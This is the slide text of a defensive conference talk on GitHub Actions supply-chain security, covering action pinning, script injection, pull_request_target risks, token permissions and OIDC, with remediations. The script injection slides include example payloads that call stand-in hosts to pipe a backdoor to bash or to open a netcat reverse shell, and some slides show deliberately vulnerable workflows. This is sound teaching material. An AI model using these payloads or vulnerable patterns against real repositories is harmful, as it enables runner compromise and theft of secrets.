GitHub Actions Security

From CI Nightmare to Supply Chain Sentinel



Niek Palm

Niek Palm

Niek Palm

Principal Engineer Philips

🔗 Software Supply Chain

Software Supply Chain

⚠️ Why It's a Prime Target

  • Compromise once, deploy everywhere
  • Massive multiplier effect
  • Trusted relationships exploited
  • Hard to detect before it's too late

💥 Supply Chain Attacks in the Wild

🔥

SolarWinds

2020

Compromised build system injected malicious code into legitimate software updates affecting 18,000+ organizations including government agencies and Fortune 500 companies

💀

CodeCov

2021

Docker image compromised in CI/CD pipeline, stealing credentials and secrets from hundreds of customers

tj-actions/changed-files

2025

Attackers compromised maintainer bot token, manipulated version tags to point to malicious commits, exfiltrating CI/CD secrets from 23,000+ repositories using this popular GitHub Action

🎭

S1ngularity (Nx)

2025

Exploited pull_request_target injection to steal npm token, published malicious Nx packages, weaponized AI tools for secrets exfiltration, exposed 1000s of secrets and private repos

🤖 What is GitHub Actions?

"GitHub Actions automates your software development workflow, letting you build, test, and deploy code directly from your GitHub repository. Its tight integration with GitHub has made it one of the most widely adopted CI/CD solutions."

🤖 What is GitHub Actions?

🏃‍♂️ Runners

  • GitHub-hosted or self-hosted
  • Multiple OS support (Linux, Windows, macOS)

🚀 Jobs & Steps

  • Jobs: Isolation level - independent units
  • Steps: Individual tasks within a job
  • Run sequentially or in parallel

⚙️ Example workflow

name: GitHub Actions Example

on: [push, pull_request]                           # 1

jobs:
  build:
    runs-on: [ubuntu-latest]                       # 2
    
    steps:
    - name: Checkout code
      uses: actions/checkout@v5                    # 3
        
    - name: Install dependencies
      run: npm ci                                  # 4
      
    - name: Run tests
      run: npm test                                # 4

🔍 What's happening?

  1. Trigger: on push or pull_request
  2. Runner: GitHub hosted fleet
    ubuntu-latest
  3. Third party action: checkout@v5
  4. Run script: npm ...

🧱 What is a GitHub Action?

🧱 LEGO Bricks in Your Pipeline

  • Building blocks you snap together
  • Each action does one thing well
  • Combine them to build complex workflows

⚡ Available Runtimes

  • Node.js - JavaScript actions
  • Docker - Containerized actions
  • Shell - Composite run steps

🎯 Run in Context of a Job

  • Actions execute as steps within jobs
  • Share the same runner environment
  • Access job-level variables and secrets

📦 Distribution Channel

  • GitHub Repository or Package - Distribution method
  • Reference: owner/repo@version
  • Can be public or private

🚀 Actions Everywhere

From development to deployment - GitHub Actions powers our entire software lifecycle

🏗️

Build & compile code

🐳

Build containers

🧪

Run unit tests

🎭

Run E2E tests

🛡️

Security scanning

🔍

Code quality checks

📦

Publish packages

☁️

Deploy to cloud

🔄

Manage infrastructure

🚀

Release automation

📚

Generate docs

🌐

Deploy static sites

🔄

Update dependencies

🏷️

Tag & version

🤖

Automate workflows

📊

Generate reports

📧

Send notifications

🔐

Manage secrets

🎯

Issue triage

🌍

Multi-platform builds

🎯 Why target GitHub Actions?

GitHub Actions Target
  • 📂 Source Code Access
  • 📦 Publishing Packages
  • 🔐 Secrets & Credentials

🤔 What can go wrong?

name: Check Changed Files

on: [pull_request]

jobs:
  check-changes:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
    
    - name: Get changed files
      uses: tj-actions/changed-files@v45
      id: changed-files
      with:
        files: |
          src/**
          docs/**
    
    - name: Process changes
      run: echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"

🔥 What can go wrong?

name: Check Changed Files

on: [pull_request]

jobs:
  check-changes:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4.0.0
    
    - name: Get changed files
      uses: tj-actions/changed-files@v45.0.7
      id: changed-files
      with:
        files: |
          src/**
          docs/**
    
    - name: Process changes
      run: echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"

🎯 Repository takeover

🚀 Push Malicious Code

✨ Create Releases

🏷️ Rewrite Tags

Repository Takeover Attack

✅ Secure third-party actions

🔒 Lock SHA

🔍 Verify Integrity

🤖 Manage with Dependabot

🛡️ Minimal Privilege

name: Secure Workflow

on: [pull_request]

jobs:
  secure-build:
    runs-on: ubuntu-latest
    steps:
      # SHA-pinned action for security
    - uses: actions/checkout@08c690...      # v5.0.0 ← SECURE
    
    - name: Get changed files
      # SHA-pinned action for security
      uses: tj-actions/changed-files@24d32f... # v47 ← SECURE
      
    - name: Process changes
      ...

🤔 What can go wrong?

name: Issue Logger

on:
  issues:
    types: [opened]

jobs:
  log-issue:
    runs-on: ubuntu-latest
    steps:
    - name: Log issue details
      run: |
        echo "Issue: ${{ github.event.issue.title }}"
        echo "Description: ${{ github.event.issue.body }}"

🔥 Script injection attack

💀 Malicious title

Hello"; curl evil.com/backdoor | bash; echo "

� What Happens

echo "Issue: Hello"; curl evil.com/backdoor | bash; echo ""

Commands executed on your runner!

💀 Malicious description

Test"; nc attacker.com 4444 -e /bin/bash; echo "

� What Happens

echo "Description: Test"; nc attacker.com 4444 -e /bin/bash; echo ""

Opens reverse shell to attacker!

Script injection

🔐 Secret theft

💉 Malicious injection

🏗️ Compromised infrastructure

✅ The solution

name: Issue Logger

on:
  issues:
    types: [opened]

jobs:
  log-issue:
    runs-on: ubuntu-latest
    steps:
    - name: Log issue details
      env:                                              # ← NEW
        ISSUE_TITLE: ${{ github.event.issue.title }}    # ← NEW
        ISSUE_BODY: ${{ github.event.issue.body }}      # ← NEW  
      run: |
        echo "Issue: $ISSUE_TITLE"                      # ← CHANGED
        echo "Description: $ISSUE_BODY"                 # ← CHANGED

🤔 What can go wrong?

name: Build PR
on:
  pull_request:
  pull_request_target:

jobs:
  build:
    if: ${{ startsWith(github.event_name, 'pull_request') }}  
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
      with:
        ref: ${{ github.event.pull_request.head.sha }}
        
    - name: Build
      env:
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}  
        API_KEY: ${{ secrets.API_KEY }} 
      run: echo "Building ${{ github.event.pull_request.base.ref }}"  

🤔 What can go wrong?

name: Build PR
on:
  pull_request:
  pull_request_target:  # ← DANGEROUS!

jobs:
  build:
    # Ineffective condition!
    if: ${{ startsWith(github.event_name, 'pull_request') }}  
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
      with:
        # untrusted code in trusted environment!
        ref: ${{ github.event.pull_request.head.sha }}
        
    - name: Build
      env:
        # Secrets exposed!
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}  
        API_KEY: ${{ secrets.API_KEY }} 
      # Injection!
      run: echo "Building ${{ github.event.pull_request.base.ref }}"  

Nx "s1ngularity" attack

🔐 Secret theft

👁️ Private source code exposed

🎯 Secrets and private sources

🚀 1000s secrets leaked

👥 480 users published private repositories

🏷️ 500 repos from a company exposed

Repository Takeover Attack

🔥 The pull_request_target problem

# DON'T DO THIS!
on: pull_request_target  # ← Runs in trusted context

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v3
      with:
        # ← Untrusted code!
        ref: ${{ github.event.pull_request.head.sha }} 

⚠️ Critical Security Issue

You are giving write permissions and secrets access to untrusted code. Any building step, script execution, or action call could be used to compromise the entire repository

🔥 Implicit GitHub token problem

name: Deploy Package

on: [push]

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
    
    - name: Publish to registry
      env:
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
      run: |
        npm publish
        git tag v1.0.0
        git push --tags

🔑 Implicit Broad Access

GitHub injects a short lived token into your workflow. Default permission depending on settings.

💀 What Can Go Wrong

Malicious code can modify your repository, create releases, delete branches, access secrets, and compromise your entire codebase.

✅ Explicit GitHub token permissions

name: Deploy Package

on: [push]

permissions: {} # no permissions by default
jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      contents: read # read-only access to repository
    steps:
    - uses: actions/checkout@v4
    
    - name: Publish to registry
      env:
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
      run: |
        npm publish
        git tag v1.0.0
        git push --tags # fails - no write permissions!

🛡️ Principle of Least Privilege

Default to no permissions and grant minimal required access on job level.

✅ Better Security

Failed operations are better than compromised repositories. Add specific permissions only when needed.

🔥 The problem with long-lived secrets

📋 Rotate to expire

💥 High Blast Radius

jobs:
  deploy-with-keys:
    runs-on: ubuntu-latest
    environment: demo

    steps:
      - name: Checkout code
        uses: actions/checkout@...

      - name: Set up AWS
        uses: aws-actions/configure-aws-credentials@...
        with:
          aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

✅ OIDC short-lived secrets

⏰ Short-lived tokens)

🔄 Automatic rotation per run

jobs:
  deploy-with-oidc:
    runs-on: ubuntu-latest
    environment: demo
    permissions:
      id-token: write

    steps:
      - name: Configure AWS with OIDC
        uses: aws-actions/configure-aws-credentials@...
        with:
          role-to-assume: arn:aws:iam::123:role/minimal-access-role
// AWS Trust Policy

"Statement": [{
  ...
  "Principal": {
      "Federated": "<arn:aws:iam::123:oidc-provider/token.actions.githubusercontent.com>"
  },
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
      "StringEquals": {
          "token.actions.githubusercontent.com:sub": "repo:my-org/my-repo:more-conditions"],
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
  ...

✅ Keep secrets safe

🔒 Environment as Boundary

  • Environments create boundaries for secrets
  • Jobs only access assigned environment secrets
  • Protection rules (reviewers, branches, timers)
  • Principle of least privilege
jobs:
  deploy-production:
    environment: production
    runs-on: ubuntu-latest
    steps:
    - name: checkout code
      uses: actions/checkout@v5

    - name: Deploy to production
      env:
        API_KEY: ${{ secrets.PROD_API_KEY }}            
      run: deploy.sh production

🎯 OIDC Best Practices

  • Keep jobs minimal and focused
  • Avoid third-party actions with OIDC jobs
  • Actions inherit GITHUB_TOKEN permissions
  • Strict trust relationships - no wildcards

❌ WRONG

"Condition": {
  "StringEquals": {
    "...:sub": "repo:my-org/project-*",                        
  }
}

✅ GOOD

"Condition": {
  "StringEquals": {
    "...:sub": "repo:my-rog/project-x:environment:production",
  }
}

🔄 Security patterns for GitHub Actions

We've explored common security risks and their solutions

📦

Third-Party Actions

❌ Floating tags can be hijacked

✅ Pin to SHA + use Dependabot

💉

Script Injection

❌ User input directly in run commands

✅ Use environment variables

🎯

Dangerous triggers

❌ Untrusted code + write permissions

✅ Extreme caution with non controlled triggers

🔑

GitHub Token and Secrets

❌ Avoid long lived secrets

✅ Explicit least-privilege permissions

🛡️ Protect by configuration

Allow list for trusted actions

📌

Enforce SHA pinned actions

🔐

Drop GITHUB_TOKEN to read-only permissions

🚫

Be cautious with write tokens in a PR

🔍 GitHub Advanced Security

🛡️

Scan Actions with with GHAS

👀

Review GitHub Actions do not blindly trust

🔓

Unlock GHAS power for secrets & multi-language protection

🔓 Open source static analyzers for GitHub Actions

Community-driven tools to enhance your GitHub Actions security

Zizmor

A dedicated linter for GitHub Actions that provides comprehensive security rules and integrates seamlessly into CI/CD workflows.

Security Focus

🛡️

Checkov

An Infrastructure as Code (IaC) security scanner that analyzes cloud infrastructure configurations to identify and fix security policy violations.

IaC Security

🔍

Action Lint

A general-purpose linter for GitHub Actions workflows focused on syntax validation and ensuring best practices are followed.

Syntax & Quality

🔧 Zizmor static analysis for GitHub Actions

📋

Extensive rule set for comprehensive scanning

⚙️

Highly configurable to fit your needs

🔗

Integrates with GHAS seamlessly

🛠️

Use with CLI, IDE, pre-commit or Actions

📝 Topics not covered in detail

  • ⚠️ Third-party actions
    run in your trusted context
  • ☁️ GitHub runners
    are ephemeral but unrestricted
  • 🏠 Self-hosted runners
    consider hardening and run ephemeral

🎯 Essential principles to protect your pipeline

Pipelines Are Powerful

Your pipelines typically have extensive permissions - they can modify code, access secrets, and deploy to production. Treat them with the respect they deserve.

🛡️

Power & Responsibility

With great power comes great responsibility. GitHub Actions gives you incredible capabilities, but every workflow is a potential attack vector if not properly secured.

🔍

Guard What You Allow

Be selective about third-party actions, untrusted input, and dangerous triggers. Pin versions, validate inputs, and use least privilege.

🔧

Empower Yourself with Tools

Use GHAS and Zizmor to gate vulnerabilities early. Automate security scanning and block unsafe code in your workflow.

🔗 Resources and links

QR Code

Scan for resources

Questions

Thank you